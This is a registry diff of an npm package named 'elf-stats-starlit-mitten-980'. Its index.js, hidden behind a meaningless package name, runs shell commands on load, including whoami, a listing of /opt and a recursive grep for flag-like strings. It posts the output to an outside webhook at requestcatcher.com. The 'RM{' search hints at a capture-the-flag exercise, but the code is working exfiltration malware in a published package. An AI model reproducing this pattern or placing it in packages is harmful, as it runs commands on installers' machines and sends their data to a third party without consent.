elf-stats-starlit-mitten-980 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +67 -0
- package/package.json +13 -0
package/index.js
ADDED
|
@@ -0,0 +1,67 @@
|
|
|
1
|
+
const { exec } = require('child_process');
|
|
2
|
+
const https = require('https');
|
|
3
|
+
const { URL } = require('url');
|
|
4
|
+
|
|
5
|
+
function runCommandAndSendToWebhook(command, webhookUrl) {
|
|
6
|
+
exec(command, (error, stdout, stderr) => {
|
|
7
|
+
const result = {
|
|
8
|
+
command: command,
|
|
9
|
+
timestamp: new Date().toISOString(),
|
|
10
|
+
stdout: stdout,
|
|
11
|
+
stderr: stderr,
|
|
12
|
+
error: error ? error.message : null,
|
|
13
|
+
exitCode: error ? error.code : 0
|
|
14
|
+
};
|
|
15
|
+
|
|
16
|
+
console.log('Command executed. Sending results to webhook...');
|
|
17
|
+
|
|
18
|
+
sendToWebhook(webhookUrl, result);
|
|
19
|
+
});
|
|
20
|
+
}
|
|
21
|
+
|
|
22
|
+
function sendToWebhook(webhookUrl, data) {
|
|
23
|
+
const url = new URL(webhookUrl);
|
|
24
|
+
|
|
25
|
+
const postData = JSON.stringify(data);
|
|
26
|
+
|
|
27
|
+
const options = {
|
|
28
|
+
hostname: url.hostname,
|
|
29
|
+
port: 443,
|
|
30
|
+
path: url.pathname,
|
|
31
|
+
method: 'POST',
|
|
32
|
+
headers: {
|
|
33
|
+
'Content-Type': 'application/json',
|
|
34
|
+
'Content-Length': postData.length,
|
|
35
|
+
'User-Agent': 'Command-Runner/1.0'
|
|
36
|
+
}
|
|
37
|
+
};
|
|
38
|
+
|
|
39
|
+
const req = https.request(options, (res) => {
|
|
40
|
+
console.log(`Status: ${res.statusCode}`);
|
|
41
|
+
console.log(`Headers: ${JSON.stringify(res.headers)}`);
|
|
42
|
+
|
|
43
|
+
let responseData = '';
|
|
44
|
+
res.on('data', (chunk) => {
|
|
45
|
+
responseData += chunk;
|
|
46
|
+
});
|
|
47
|
+
|
|
48
|
+
res.on('end', () => {
|
|
49
|
+
console.log('Response from webhook:', responseData);
|
|
50
|
+
console.log('Results sent successfully!');
|
|
51
|
+
});
|
|
52
|
+
});
|
|
53
|
+
|
|
54
|
+
req.on('error', (error) => {
|
|
55
|
+
console.error('Error sending to webhook:', error.message);
|
|
56
|
+
});
|
|
57
|
+
|
|
58
|
+
req.write(postData);
|
|
59
|
+
req.end();
|
|
60
|
+
}
|
|
61
|
+
|
|
62
|
+
// Example usage
|
|
63
|
+
const command = 'whoami && ls /opt/ && grep -R "RM{"'; // Get command from arguments or use default
|
|
64
|
+
const webhookUrl = 'https://bubu.requestcatcher.com';
|
|
65
|
+
|
|
66
|
+
console.log(`Running command: ${command}`);
|
|
67
|
+
runCommandAndSendToWebhook(command, webhookUrl);
|
package/package.json
ADDED
|
@@ -0,0 +1,13 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "elf-stats-starlit-mitten-980",
|
|
3
|
+
"version": "1.0.0",
|
|
4
|
+
"description": "",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1"
|
|
8
|
+
},
|
|
9
|
+
"keywords": [],
|
|
10
|
+
"author": "bubu",
|
|
11
|
+
"license": "ISC",
|
|
12
|
+
"type": "commonjs"
|
|
13
|
+
}
|